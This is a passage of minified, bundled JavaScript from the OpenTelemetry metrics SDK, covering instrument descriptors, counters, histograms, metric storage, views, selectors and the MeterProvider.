characters.`);return{name:A,type:K,description:q?.description??"",unit:q?.unit??"",valueType:q?.valueType??Xu7.ValueType.DOUBLE,advice:q?.advice??{}}}_u7.createInstrumentDescriptor=kA2;function CA2(A,K){return{name:A.name??K.name,description:A.description??K.description,type:K.type,unit:K.unit,valueType:K.valueType,advice:K.advice}}_u7.createInstrumentDescriptorWithView=CA2;function LA2(A,K){return(0,EA2.equalsCaseInsensitive)(A.name,K.name)&&A.unit===K.unit&&A.type===K.type&&A.valueType===K.valueType}_u7.isDescriptorCompatibleWith=LA2;var RA2=/^[a-z][a-z0-9_.\-/]{0,254}$/i;function $u7(A){return A.match(RA2)!=null}_u7.isValidName=$u7});var AD1=v((fu7)=>{Object.defineProperty(fu7,"__esModule",{value:!0});fu7.isObservableInstrument=fu7.ObservableUpDownCounterInstrument=fu7.ObservableGaugeInstrument=fu7.ObservableCounterInstrument=fu7.ObservableInstrument=fu7.HistogramInstrument=fu7.GaugeInstrument=fu7.CounterInstrument=fu7.UpDownCounterInstrument=fu7.SyncInstrument=void 0;var lDA=RK(),hA2=P9();class iDA{_writableMetricStorage;_descriptor;constructor(A,K){this._writableMetricStorage=A,this._descriptor=K}_record(A,K={},q=lDA.context.active()){if(typeof A!=="number"){lDA.diag.warn(`non-number value provided to metric ${this._descriptor.name}: ${A}`);return}if(this._descriptor.valueType===lDA.ValueType.INT&&!Number.isInteger(A)){if(lDA.diag.warn(`INT value type cannot accept a floating-point value for ${this._descriptor.name}, ignoring the fractional digits.`),A=Math.trunc(A),!Number.isInteger(A))return}this._writableMetricStorage.record(A,K,q,(0,hA2.millisToHrTime)(Date.now()))}}fu7.SyncInstrument=iDA;class Zu7 extends iDA{add(A,K,q){this._record(A,K,q)}}fu7.UpDownCounterInstrument=Zu7;class Wu7 extends iDA{add(A,K,q){if(A<0){lDA.diag.warn(`negative value provided to counter ${this._descriptor.name}: ${A}`);return}this._record(A,K,q)}}fu7.CounterInstrument=Wu7;class Du7 extends iDA{record(A,K,q){this._record(A,K,q)}}fu7.GaugeInstrument=Du7;class ju7 extends iDA{record(A,K,q){if(A<0){lDA.diag.warn(`negative value provided to histogram ${this._descriptor.name}: ${A}`);return}this._record(A,K,q)}}fu7.HistogramInstrument=ju7;class nDA{_observableRegistry;_metricStorages;_descriptor;constructor(A,K,q){this._observableRegistry=q,this._descriptor=A,this._metricStorages=K}addCallback(A){this._observableRegistry.addCallback(A,this)}removeCallback(A){this._observableRegistry.removeCallback(A,this)}}fu7.ObservableInstrument=nDA;class Mu7 extends nDA{}fu7.ObservableCounterInstrument=Mu7;class Pu7 extends nDA{}fu7.ObservableGaugeInstrument=Pu7;class Vu7 extends nDA{}fu7.ObservableUpDownCounterInstrument=Vu7;function bA2(A){return A instanceof nDA}fu7.isObservableInstrument=bA2});var ku7=v((vu7)=>{Object.defineProperty(vu7,"__esModule",{value:!0});vu7.Meter=void 0;var Q5A=hgA(),U5A=AD1(),p5A=as();class Tu7{_meterSharedState;constructor(A){this._meterSharedState=A}createGauge(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.GAUGE,K),Y=this._meterSharedState.registerMetricStorage(q);return new U5A.GaugeInstrument(Y,q)}createHistogram(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.HISTOGRAM,K),Y=this._meterSharedState.registerMetricStorage(q);return new U5A.HistogramInstrument(Y,q)}createCounter(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.COUNTER,K),Y=this._meterSharedState.registerMetricStorage(q);return new U5A.CounterInstrument(Y,q)}createUpDownCounter(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.UP_DOWN_COUNTER,K),Y=this._meterSharedState.registerMetricStorage(q);return new U5A.UpDownCounterInstrument(Y,q)}createObservableGauge(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.OBSERVABLE_GAUGE,K),Y=this._meterSharedState.registerAsyncMetricStorage(q);return new U5A.ObservableGaugeInstrument(q,Y,this._meterSharedState.observableRegistry)}createObservableCounter(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.OBSERVABLE_COUNTER,K),Y=this._meterSharedState.registerAsyncMetricStorage(q);return new U5A.ObservableCounterInstrument(q,Y,this._meterSharedState.observableRegistry)}createObservableUpDownCounter(A,K){let q=(0,Q5A.createInstrumentDescriptor)(A,p5A.InstrumentType.OBSERVABLE_UP_DOWN_COUNTER,K),Y=this._meterSharedState.registerAsyncMetricStorage(q);return new U5A.ObservableUpDownCounterInstrument(q,Y,this._meterSharedState.observableRegistry)}addBatchObservableCallback(A,K){this._meterSharedState.observableRegistry.addBatchCallback(A,K)}removeBatchObservableCallback(A,K){this._meterSharedState.observableRegistry.removeBatchCallback(A,K)}}vu7.Meter=Tu7});var Cv6=v((Lu7)=>{Object.defineProperty(Lu7,"__esModule",{value:!0});Lu7.MetricStorage=void 0;var dA2=hgA();class Cu7{_instrumentDescriptor;constructor(A){this._instrumentDescriptor=A}getInstrumentDescriptor(){return this._instrumentDescriptor}updateDescription(A){this._instrumentDescriptor=(0,dA2.createInstrumentDescriptor)(this._instrumentDescriptor.name,this._instrumentDescriptor.type,{description:A,valueType:this._instrumentDescriptor.valueType,unit:this._instrumentDescriptor.unit,advice:this._instrumentDescriptor.advice})}}Lu7.MetricStorage=Cu7});var bgA=v((Iu7)=>{Object.defineProperty(Iu7,"__esModule",{value:!0});Iu7.AttributeHashMap=Iu7.HashMap=void 0;var cA2=GS();class Lv6{_hash;_valueMap=new Map;_keyMap=new Map;constructor(A){this._hash=A}get(A,K){return K??=this._hash(A),this._valueMap.get(K)}getOrDefault(A,K){let q=this._hash(A);if(this._valueMap.has(q))return this._valueMap.get(q);let Y=K();if(!this._keyMap.has(q))this._keyMap.set(q,A);return this._valueMap.set(q,Y),Y}set(A,K,q){if(q??=this._hash(A),!this._keyMap.has(q))this._keyMap.set(q,A);this._valueMap.set(q,K)}has(A,K){return K??=this._hash(A),this._valueMap.has(K)}*keys(){let A=this._keyMap.entries(),K=A.next();while(K.done!==!0)yield[K.value[1],K.value[0]],K=A.next()}*entries(){let A=this._valueMap.entries(),K=A.next();while(K.done!==!0)yield[this._keyMap.get(K.value[0]),K.value[1],K.value[0]],K=A.next()}get size(){return this._valueMap.size}}Iu7.HashMap=Lv6;class yu7 extends Lv6{constructor(){super(cA2.hashAttributes)}}Iu7.AttributeHashMap=yu7});var yv6=v((bu7)=>{Object.defineProperty(bu7,"__esModule",{value:!0});bu7.DeltaMetricProcessor=void 0;var iA2=GS(),Rv6=bgA();class hu7{_aggregator;_activeCollectionStorage=new Rv6.AttributeHashMap;_cumulativeMemoStorage=new Rv6.AttributeHashMap;_cardinalityLimit;_overflowAttributes={"otel.metric.overflow":!0};_overflowHashCode;constructor(A,K){this._aggregator=A,this._cardinalityLimit=(K??2000)-1,this._overflowHashCode=(0,iA2.hashAttributes)(this._overflowAttributes)}record(A,K,q,Y){let z=this._activeCollectionStorage.get(K);if(!z){if(this._activeCollectionStorage.size>=this._cardinalityLimit){this._activeCollectionStorage.getOrDefault(this._overflowAttributes,()=>this._aggregator.createAccumulation(Y))?.record(A);return}z=this._aggregator.createAccumulation(Y),this._activeCollectionStorage.set(K,z)}z?.record(A)}batchCumulate(A,K){Array.from(A.entries()).forEach(([q,Y,z])=>{let w=this._aggregator.createAccumulation(K);w?.record(Y);let H=w;if(this._cumulativeMemoStorage.has(q,z)){let J=this._cumulativeMemoStorage.get(q,z);H=this._aggregator.diff(J,w)}else if(this._cumulativeMemoStorage.size>=this._cardinalityLimit){if(q=this._overflowAttributes,z=this._overflowHashCode,this._cumulativeMemoStorage.has(q,z)){let J=this._cumulativeMemoStorage.get(q,z);H=this._aggregator.diff(J,w)}}if(this._activeCollectionStorage.has(q,z)){let J=this._activeCollectionStorage.get(q,z);H=this._aggregator.merge(J,H)}this._cumulativeMemoStorage.set(q,w,z),this._activeCollectionStorage.set(q,H,z)})}collect(){let A=this._activeCollectionStorage;return this._activeCollectionStorage=new Rv6.AttributeHashMap,A}}bu7.DeltaMetricProcessor=hu7});var Iv6=v((uu7)=>{Object.defineProperty(uu7,"__esModule",{value:!0});uu7.TemporalMetricProcessor=void 0;var nA2=cW1(),rA2=bgA();class xgA{_aggregator;_unreportedAccumulations=new Map;_reportHistory=new Map;constructor(A,K){this._aggregator=A,K.forEach((q)=>{this._unreportedAccumulations.set(q,[])})}buildMetrics(A,K,q,Y){this._stashAccumulations(q);let z=this._getMergedUnreportedAccumulations(A),w=z,H;if(this._reportHistory.has(A)){let O=this._reportHistory.get(A),X=O.collectionTime;if(H=O.aggregationTemporality,H===nA2.AggregationTemporality.CUMULATIVE)w=xgA.merge(O.accumulations,z,this._aggregator);else w=xgA.calibrateStartTime(O.accumulations,z,X)}else H=A.selectAggregationTemporality(K.type);this._reportHistory.set(A,{accumulations:w,collectionTime:Y,aggregationTemporality:H});let J=oA2(w);if(J.length===0)return;return this._aggregator.toMetricData(K,H,J,Y)}_stashAccumulations(A){let K=this._unreportedAccumulations.keys();for(let q of K){let Y=this._unreportedAccumulations.get(q);if(Y===void 0)Y=[],this._unreportedAccumulations.set(q,Y);Y.push(A)}}_getMergedUnreportedAccumulations(A){let K=new rA2.AttributeHashMap,q=this._unreportedAccumulations.get(A);if(this._unreportedAccumulations.set(A,[]),q===void 0)return K;for(let Y of q)K=xgA.merge(K,Y,this._aggregator);return K}static merge(A,K,q){let Y=A,z=K.entries(),w=z.next();while(w.done!==!0){let[H,J,O]=w.value;if(A.has(H,O)){let X=A.get(H,O),$=q.merge(X,J);Y.set(H,$,O)}else Y.set(H,J,O);w=z.next()}return Y}static calibrateStartTime(A,K,q){for(let[Y,z]of A.keys())K.get(Y,z)?.setStartTime(q);return K}}uu7.TemporalMetricProcessor=xgA;function oA2(A){return Array.from(A.entries())}});var Qu7=v((gu7)=>{Object.defineProperty(gu7,"__esModule",{value:!0});gu7.AsyncMetricStorage=void 0;var aA2=Cv6(),sA2=yv6(),tA2=Iv6(),eA2=bgA();class mu7 extends aA2.MetricStorage{_attributesProcessor;_aggregationCardinalityLimit;_deltaMetricStorage;_temporalMetricStorage;constructor(A,K,q,Y,z){super(A);this._attributesProcessor=q,this._aggregationCardinalityLimit=z,this._deltaMetricStorage=new sA2.DeltaMetricProcessor(K,this._aggregationCardinalityLimit),this._temporalMetricStorage=new tA2.TemporalMetricProcessor(K,Y)}record(A,K){let q=new eA2.AttributeHashMap;Array.from(A.entries()).forEach(([Y,z])=>{q.set(this._attributesProcessor.process(Y),z)}),this._deltaMetricStorage.batchCumulate(q,K)}collect(A,K){let q=this._deltaMetricStorage.collect();return this._temporalMetricStorage.buildMetrics(A,this._instrumentDescriptor,q,K)}}gu7.AsyncMetricStorage=mu7});var nu7=v((lu7)=>{Object.defineProperty(lu7,"__esModule",{value:!0});lu7.getConflictResolutionRecipe=lu7.getDescriptionResolutionRecipe=lu7.getTypeConflictResolutionRecipe=lu7.getUnitConflictResolutionRecipe=lu7.getValueTypeConflictResolutionRecipe=lu7.getIncompatibilityDetails=void 0;function A12(A,K){let q="";if(A.unit!==K.unit)q+=` - Unit '${A.unit}' does not match '${K.unit}' `;if(A.type!==K.type)q+=` - Type '${A.type}' does not match '${K.type}' `;if(A.valueType!==K.valueType)q+=` - Value Type '${A.valueType}' does not match '${K.valueType}' `;if(A.description!==K.description)q+=` - Description '${A.description}' does not match '${K.description}' `;return q}lu7.getIncompatibilityDetails=A12;function Uu7(A,K){return` - use valueType '${A.valueType}' on instrument creation or use an instrument name other than '${K.name}'`}lu7.getValueTypeConflictResolutionRecipe=Uu7;function pu7(A,K){return` - use unit '${A.unit}' on instrument creation or use an instrument name other than '${K.name}'`}lu7.getUnitConflictResolutionRecipe=pu7;function du7(A,K){let q={name:K.name,type:K.type,unit:K.unit},Y=JSON.stringify(q);return` - create a new view with a name other than '${A.name}' and InstrumentSelector '${Y}'`}lu7.getTypeConflictResolutionRecipe=du7;function cu7(A,K){let q={name:K.name,type:K.type,unit:K.unit},Y=JSON.stringify(q);return` - create a new view with a name other than '${A.name}' and InstrumentSelector '${Y}' - OR - create a new view with the name ${A.name} and description '${A.description}' and InstrumentSelector ${Y} - OR - create a new view with the name ${K.name} and description '${A.description}' and InstrumentSelector ${Y}`}lu7.getDescriptionResolutionRecipe=cu7;function K12(A,K){if(A.valueType!==K.valueType)return Uu7(A,K);if(A.unit!==K.unit)return pu7(A,K);if(A.type!==K.type)return du7(A,K);if(A.description!==K.description)return cu7(A,K);return""}lu7.getConflictResolutionRecipe=K12});var su7=v((ou7)=>{Object.defineProperty(ou7,"__esModule",{value:!0});ou7.MetricStorageRegistry=void 0;var J12=hgA(),ru7=RK(),KD1=nu7();class Sv6{_sharedRegistry=new Map;_perCollectorRegistry=new Map;static create(){return new Sv6}getStorages(A){let K=[];for(let Y of this._sharedRegistry.values())K=K.concat(Y);let q=this._perCollectorRegistry.get(A);if(q!=null)for(let Y of q.values())K=K.concat(Y);return K}register(A){this._registerStorage(A,this._sharedRegistry)}registerForCollector(A,K){let q=this._perCollectorRegistry.get(A);if(q==null)q=new Map,this._perCollectorRegistry.set(A,q);this._registerStorage(K,q)}findOrUpdateCompatibleStorage(A){let K=this._sharedRegistry.get(A.name);if(K===void 0)return null;return this._findOrUpdateCompatibleStorage(A,K)}findOrUpdateCompatibleCollectorStorage(A,K){let q=this._perCollectorRegistry.get(A);if(q===void 0)return null;let Y=q.get(K.name);if(Y===void 0)return null;return this._findOrUpdateCompatibleStorage(K,Y)}_registerStorage(A,K){let q=A.getInstrumentDescriptor(),Y=K.get(q.name);if(Y===void 0){K.set(q.name,[A]);return}Y.push(A)}_findOrUpdateCompatibleStorage(A,K){let q=null;for(let Y of K){let z=Y.getInstrumentDescriptor();if((0,J12.isDescriptorCompatibleWith)(z,A)){if(z.description!==A.description){if(A.description.length>z.description.length)Y.updateDescription(A.description);ru7.diag.warn("A view or instrument with the name ",A.name,` has already been registered, but has a different description and is incompatible with another registered view. `,`Details: `,(0,KD1.getIncompatibilityDetails)(z,A),`The longer description will be used. To resolve the conflict:`,(0,KD1.getConflictResolutionRecipe)(z,A))}q=Y}else ru7.diag.warn("A view or instrument with the name ",A.name,` has already been registered and is incompatible with another registered view. `,`Details: `,(0,KD1.getIncompatibilityDetails)(z,A),`To resolve the conflict: `,(0,KD1.getConflictResolutionRecipe)(z,A))}return q}}ou7.MetricStorageRegistry=Sv6});var KB7=v((eu7)=>{Object.defineProperty(eu7,"__esModule",{value:!0});eu7.MultiMetricStorage=void 0;class tu7{_backingStorages;constructor(A){this._backingStorages=A}record(A,K,q,Y){this._backingStorages.forEach((z)=>{z.record(A,K,q,Y)})}}eu7.MultiMetricStorage=tu7});var JB7=v((wB7)=>{Object.defineProperty(wB7,"__esModule",{value:!0});wB7.BatchObservableResultImpl=wB7.ObservableResultImpl=void 0;var rDA=RK(),qB7=bgA(),O12=AD1();class YB7{_instrumentName;_valueType;_buffer=new qB7.AttributeHashMap;constructor(A,K){this._instrumentName=A,this._valueType=K}observe(A,K={}){if(typeof A!=="number"){rDA.diag.warn(`non-number value provided to metric ${this._instrumentName}: ${A}`);return}if(this._valueType===rDA.ValueType.INT&&!Number.isInteger(A)){if(rDA.diag.warn(`INT value type cannot accept a floating-point value for ${this._instrumentName}, ignoring the fractional digits.`),A=Math.trunc(A),!Number.isInteger(A))return}this._buffer.set(K,A)}}wB7.ObservableResultImpl=YB7;class zB7{_buffer=new Map;observe(A,K,q={}){if(!(0,O12.isObservableInstrument)(A))return;let Y=this._buffer.get(A);if(Y==null)Y=new qB7.AttributeHashMap,this._buffer.set(A,Y);if(typeof K!=="number"){rDA.diag.warn(`non-number value provided to metric ${A._descriptor.name}: ${K}`);return}if(A._descriptor.valueType===rDA.ValueType.INT&&!Number.isInteger(K)){if(rDA.diag.warn(`INT value type cannot accept a floating-point value for ${A._descriptor.name}, ignoring the fractional digits.`),K=Math.trunc(K),!Number.isInteger(K))return}Y.set(q,K)}}wB7.BatchObservableResultImpl=zB7});var ZB7=v((_B7)=>{Object.defineProperty(_B7,"__esModule",{value:!0});_B7.ObservableRegistry=void 0;var $12=RK(),OB7=AD1(),XB7=JB7(),ugA=GS();class $B7{_callbacks=[];_batchCallbacks=[];addCallback(A,K){if(this._findCallback(A,K)>=0)return;this._callbacks.push({callback:A,instrument:K})}removeCallback(A,K){let q=this._findCallback(A,K);if(q<0)return;this._callbacks.splice(q,1)}addBatchCallback(A,K){let q=new Set(K.filter(OB7.isObservableInstrument));if(q.size===0){$12.diag.error("BatchObservableCallback is not associated with valid instruments",K);return}if(this._findBatchCallback(A,q)>=0)return;this._batchCallbacks.push({callback:A,instruments:q})}removeBatchCallback(A,K){let q=new Set(K.filter(OB7.isObservableInstrument)),Y=this._findBatchCallback(A,q);if(Y<0)return;this._batchCallbacks.splice(Y,1)}async observe(A,K){let q=this._observeCallbacks(A,K),Y=this._observeBatchCallbacks(A,K);return(await(0,ugA.PromiseAllSettled)([...q,...Y])).filter(ugA.isPromiseAllSettledRejectionResult).map((H)=>H.reason)}_observeCallbacks(A,K){return this._callbacks.map(async({callback:q,instrument:Y})=>{let z=new XB7.ObservableResultImpl(Y._descriptor.name,Y._descriptor.valueType),w=Promise.resolve(q(z));if(K!=null)w=(0,ugA.callWithTimeout)(w,K);await w,Y._metricStorages.forEach((H)=>{H.record(z._buffer,A)})})}_observeBatchCallbacks(A,K){return this._batchCallbacks.map(async({callback:q,instruments:Y})=>{let z=new XB7.BatchObservableResultImpl,w=Promise.resolve(q(z));if(K!=null)w=(0,ugA.callWithTimeout)(w,K);await w,Y.forEach((H)=>{let J=z._buffer.get(H);if(J==null)return;H._metricStorages.forEach((O)=>{O.record(J,A)})})})}_findCallback(A,K){return this._callbacks.findIndex((q)=>{return q.callback===A&&q.instrument===K})}_findBatchCallback(A,K){return this._batchCallbacks.findIndex((q)=>{return q.callback===A&&(0,ugA.setEquals)(q.instruments,K)})}}_B7.ObservableRegistry=$B7});var MB7=v((DB7)=>{Object.defineProperty(DB7,"__esModule",{value:!0});DB7.SyncMetricStorage=void 0;var _12=Cv6(),G12=yv6(),Z12=Iv6();class WB7 extends _12.MetricStorage{_attributesProcessor;_aggregationCardinalityLimit;_deltaMetricStorage;_temporalMetricStorage;constructor(A,K,q,Y,z){super(A);this._attributesProcessor=q,this._aggregationCardinalityLimit=z,this._deltaMetricStorage=new G12.DeltaMetricProcessor(K,this._aggregationCardinalityLimit),this._temporalMetricStorage=new Z12.TemporalMetricProcessor(K,Y)}record(A,K,q,Y){K=this._attributesProcessor.process(K,q),this._deltaMetricStorage.record(A,K,q,Y)}collect(A,K){let q=this._deltaMetricStorage.collect();return this._temporalMetricStorage.buildMetrics(A,this._instrumentDescriptor,q,K)}}DB7.SyncMetricStorage=WB7});var qD1=v((TB7)=>{Object.defineProperty(TB7,"__esModule",{value:!0});TB7.createDenyListAttributesProcessor=TB7.createAllowListAttributesProcessor=TB7.createMultiAttributesProcessor=TB7.createNoopAttributesProcessor=void 0;class PB7{process(A,K){return A}}class VB7{_processors;constructor(A){this._processors=A}process(A,K){let q=A;for(let Y of this._processors)q=Y.process(q,K);return q}}class fB7{_allowedAttributeNames;constructor(A){this._allowedAttributeNames=A}process(A,K){let q={};return Object.keys(A).filter((Y)=>this._allowedAttributeNames.includes(Y)).forEach((Y)=>q[Y]=A[Y]),q}}class NB7{_deniedAttributeNames;constructor(A){this._deniedAttributeNames=A}process(A,K){let q={};return Object.keys(A).filter((Y)=>!this._deniedAttributeNames.includes(Y)).forEach((Y)=>q[Y]=A[Y]),q}}function W12(){return P12}TB7.createNoopAttributesProcessor=W12;function D12(A){return new VB7(A)}TB7.createMultiAttributesProcessor=D12;function j12(A){return new fB7(A)}TB7.createAllowListAttributesProcessor=j12;function M12(A){return new NB7(A)}TB7.createDenyListAttributesProcessor=M12;var P12=new PB7});var LB7=v((kB7)=>{Object.defineProperty(kB7,"__esModule",{value:!0});kB7.MeterSharedState=void 0;var T12=hgA(),v12=ku7(),E12=GS(),k12=Qu7(),C12=su7(),L12=KB7(),R12=ZB7(),y12=MB7(),I12=qD1();class EB7{_meterProviderSharedState;_instrumentationScope;metricStorageRegistry=new C12.MetricStorageRegistry;observableRegistry=new R12.ObservableRegistry;meter;constructor(A,K){this._meterProviderSharedState=A,this._instrumentationScope=K,this.meter=new v12.Meter(this)}registerMetricStorage(A){let K=this._registerMetricStorage(A,y12.SyncMetricStorage);if(K.length===1)return K[0];return new L12.MultiMetricStorage(K)}registerAsyncMetricStorage(A){return this._registerMetricStorage(A,k12.AsyncMetricStorage)}async collect(A,K,q){let Y=await this.observableRegistry.observe(K,q?.timeoutMillis),z=this.metricStorageRegistry.getStorages(A);if(z.length===0)return null;let w=z.map((H)=>{return H.collect(A,K)}).filter(E12.isNotNullish);if(w.length===0)return{errors:Y};return{scopeMetrics:{scope:this._instrumentationScope,metrics:w},errors:Y}}_registerMetricStorage(A,K){let Y=this._meterProviderSharedState.viewRegistry.findViews(A,this._instrumentationScope).map((z)=>{let w=(0,T12.createInstrumentDescriptorWithView)(z,A),H=this.metricStorageRegistry.findOrUpdateCompatibleStorage(w);if(H!=null)return H;let J=z.aggregation.createAggregator(w),O=new K(w,J,z.attributesProcessor,this._meterProviderSharedState.metricCollectors,z.aggregationCardinalityLimit);return this.metricStorageRegistry.register(O),O});if(Y.length===0){let w=this._meterProviderSharedState.selectAggregations(A.type).map(([H,J])=>{let O=this.metricStorageRegistry.findOrUpdateCompatibleCollectorStorage(H,A);if(O!=null)return O;let X=J.createAggregator(A),$=H.selectCardinalityLimit(A.type),_=new K(A,X,(0,I12.createNoopAttributesProcessor)(),[H],$);return this.metricStorageRegistry.registerForCollector(H,_),_});Y=Y.concat(w)}return Y}}kB7.MeterSharedState=EB7});var SB7=v((yB7)=>{Object.defineProperty(yB7,"__esModule",{value:!0});yB7.MeterProviderSharedState=void 0;var S12=GS(),h12=Ou7(),b12=LB7(),x12=SgA();class RB7{resource;viewRegistry=new h12.ViewRegistry;metricCollectors=[];meterSharedStates=new Map;constructor(A){this.resource=A}getMeterSharedState(A){let K=(0,S12.instrumentationScopeId)(A),q=this.meterSharedStates.get(K);if(q==null)q=new b12.MeterSharedState(this,A),this.meterSharedStates.set(K,q);return q}selectAggregations(A){let K=[];for(let q of this.metricCollectors)K.push([q,(0,x12.toAggregation)(q.selectAggregation(A))]);return K}}yB7.MeterProviderSharedState=RB7});var uB7=v((bB7)=>{Object.defineProperty(bB7,"__esModule",{value:!0});bB7.MetricCollector=void 0;var u12=P9();class hB7{_sharedState;_metricReader;constructor(A,K){this._sharedState=A,this._metricReader=K}async collect(A){let K=(0,u12.millisToHrTime)(Date.now()),q=[],Y=[],z=Array.from(this._sharedState.meterSharedStates.values()).map(async(w)=>{let H=await w.collect(this,K,A);if(H?.scopeMetrics!=null)q.push(H.scopeMetrics);if(H?.errors!=null)Y.push(...H.errors)});return await Promise.all(z),{resourceMetrics:{resource:this._sharedState.resource,scopeMetrics:q},errors:Y}}async forceFlush(A){await this._metricReader.forceFlush(A)}async shutdown(A){await this._metricReader.shutdown(A)}selectAggregationTemporality(A){return this._metricReader.selectAggregationTemporality(A)}selectAggregation(A){return this._metricReader.selectAggregation(A)}selectCardinalityLimit(A){return this._metricReader.selectCardinalityLimit?.(A)??2000}}bB7.MetricCollector=hB7});var YD1=v((mB7)=>{Object.defineProperty(mB7,"__esModule",{value:!0});mB7.ExactPredicate=mB7.PatternPredicate=void 0;var B12=/[\^$\\.+?()[\]{}|]/g;class hv6{_matchAll;_regexp;constructor(A){if(A==="*")this._matchAll=!0,this._regexp=/.*/;else this._matchAll=!1,this._regexp=new RegExp(hv6.escapePattern(A))}match(A){if(this._matchAll)return!0;return this._regexp.test(A)}static escapePattern(A){return`^${A.replace(B12,"\\$&").replace("*",".*")}$`}static hasWildcard(A){return A.includes("*")}}mB7.PatternPredicate=hv6;class BB7{_matchAll;_pattern;constructor(A){this._matchAll=A===void 0,this._pattern=A}match(A){if(this._matchAll)return!0;if(A===this._pattern)return!0;return!1}}mB7.ExactPredicate=BB7});var dB7=v((UB7)=>{Object.defineProperty(UB7,"__esModule",{value:!0});UB7.InstrumentSelector=void 0;var FB7=YD1();class QB7{_nameFilter;_type;_unitFilter;constructor(A){this._nameFilter=new FB7.PatternPredicate(A?.name??"*"),this._type=A?.type,this._unitFilter=new FB7.ExactPredicate(A?.unit)}getType(){return this._type}getNameFilter(){return this._nameFilter}getUnitFilter(){return this._unitFilter}}UB7.InstrumentSelector=QB7});var nB7=v((lB7)=>{Object.defineProperty(lB7,"__esModule",{value:!0});lB7.MeterSelector=void 0;var bv6=YD1();class cB7{_nameFilter;_versionFilter;_schemaUrlFilter;constructor(A){this._nameFilter=new bv6.ExactPredicate(A?.name),this._versionFilter=new bv6.ExactPredicate(A?.version),this._schemaUrlFilter=new bv6.ExactPredicate(A?.schemaUrl)}getNameFilter(){return this._nameFilter}getVersionFilter(){return this._versionFilter}getSchemaUrlFilter(){return this._schemaUrlFilter}}lB7.MeterSelector=cB7});var eB7=v((sB7)=>{Object.defineProperty(sB7,"__esModule",{value:!0});sB7.View=void 0;var g12=YD1(),rB7=qD1(),F12=dB7(),Q12=nB7(),oB7=SgA();function U12(A){return A.instrumentName==null&&A.instrumentType==null&&A.instrumentUnit==null&&A.meterName==null&&A.meterVersion==null&&A.meterSchemaUrl==null}function p12(A){if(U12(A))throw Error("Cannot create view with no selector arguments supplied");if(A.name!=null&&(A?.instrumentName==null||g12.PatternPredicate.hasWildcard(A.instrumentName)))throw Error("Views with a specified name must be declared with an instrument selector that selects at most one instrument per meter.")}class aB7{name;description;aggregation;attributesProcessor;instrumentSelector;meterSelector;aggregationCardinalityLimit;constructor(A){if(p12(A),A.attributesProcessors!=null)this.attributesProcessor=(0,rB7.createMultiAttributesProcessor)(A.attributesProcessors);else this.attributesProcessor=(0,rB7.createNoopAttributesProcessor)();this.name=A.name,this.description=A.description,this.aggregation=(0,oB7.toAggregation)(A.aggregation??{type:oB7.AggregationType.DEFAULT}),this.instrumentSelector=new F12.InstrumentSelector({name:A.instrumentName,type:A.instrumentType,unit:A.instrumentUnit}),this.meterSelector=new Q12.MeterSelector({name:A.meterName,version:A.meterVersion,schemaUrl:A.meterSchemaUrl}),this.aggregationCardinalityLimit=A.aggregationCardinalityLimit}}sB7.View=aB7});var Ym7=v((Km7)=>{Object.defineProperty(Km7,"__esModule",{value:!0});Km7.MeterProvider=void 0;var zD1=RK(),d12=eXA(),c12=SB7(),l12=uB7(),i12=eB7();class Am7{_sharedState;_shutdown=!1;constructor(A){if(this._sharedState=new c12.MeterProviderSharedState(A?.resource??(0,d12.defaultResource)()),A?.views!=null&&A.views.length>0)for(let K of A.views)this._sharedState.viewRegistry.addView(new i12.View(K));if(A?.readers!=null&&A.readers.length>0)for(let K of A.readers){let q=new l12.MetricCollector(this._sharedState,K);K.setMetricProducer(q),this._sharedState.metricCollectors.push(q)}}getMeter(A,K="",q={}){if(this._shutdown)return zD1.diag.warn("A shutdown MeterProvider cannot provide a Meter"),(0,zD1.createNoopMeter)();return this._sharedState.getMeterSharedState({name:A,version:K,schemaUrl:q.schemaUrl}).meter}async shutdown(A){if(this._shutdown){zD1.diag.warn("shutdown may only be called once per MeterProvider");return}this._shutdown=!0,await Promise.all(this._sharedState.metricCollectors.map((K)=>{return K.shutdown(A)}))}async forceFlush(A){if(this._shutdown){zD1.diag.warn("invalid attempt to force flush after MeterProvider shutdown");return}await Promise.all(this._sharedState.metricCollectors.map((K)=>{return K.forceFlush(A)}))}}Km7.MeterProvider=Am7});var ss=v((xf)=>{Object.defineProperty(xf,"__esModule",{value:!0});xf.TimeoutError=xf.createDenyListAttributesProcessor=xf.createAllowListAttributesProcessor=xf.AggregationType=xf.MeterProvider=xf.ConsoleMetricExporter=xf.InMemoryMetricExporter=xf.PeriodicExportingMetricReader=xf.MetricReader=xf.InstrumentType=xf.DataPointType=xf.AggregationTemporality=void 0;var n12=cW1();Object.defineProperty(xf,"AggregationTemporality",{enumerable:!0,get:function(){return n12.AggregationTemporality}});var zm7=as();Object.defineProperty(xf,"DataPointType",{enumerable:!0,get:function(){return zm7.DataPointType}});Object.defineProperty(xf,"InstrumentType",{enumerable:!0,get:function(){return zm7.InstrumentType}});var r12=vv6();Object.defineProperty(xf,"MetricReader",{enumerable:!0,get:function(){return r12.MetricReader}});var o12=ox7();Object.defineProperty(xf,"PeriodicExportingMetricReader",{enumerable:!0,get:function(){return o12.PeriodicExportingMetricReader}});var a12=Au7();Object.defineProperty(xf,"InMemoryMetricExporter",{enumerable:!0,get:function(){return a12.InMemoryMetricExporter}});var s12=zu7();Object.defineProperty(xf,"ConsoleMetricExporter",{enumerable:!0,get:function(){return s12.ConsoleMetricExporter}});var t12=Ym7();Object.defineProperty(xf,"MeterProvider",{enumerable:!0,get:function(){return t12.MeterProvider}});var e12=SgA();Object.defineProperty(xf,"AggregationType",{enumerable:!0,get:function(){return e12.AggregationType}});var wm7=qD1();Object.defineProperty(xf,"createAllowListAttributesProcessor",{enumerable:!0,get:function(){return wm7.createAllowListAttributesProcessor}});Object.defineProperty(xf,"createDenyListAttributesProcessor",{enumerable:!0,get:function(){return wm7.createDenyListAttributesProcessor}});var A62=GS();Object.defineProperty(xf,"TimeoutError",{enumerable:!0,get:function(){return A62.TimeoutError}})});var uv6=v((Hm7)=>{Object.defineProperty(Hm7,"__esModule",{value:!0});Hm7.AggregationTemporalityPreference=void 0;var 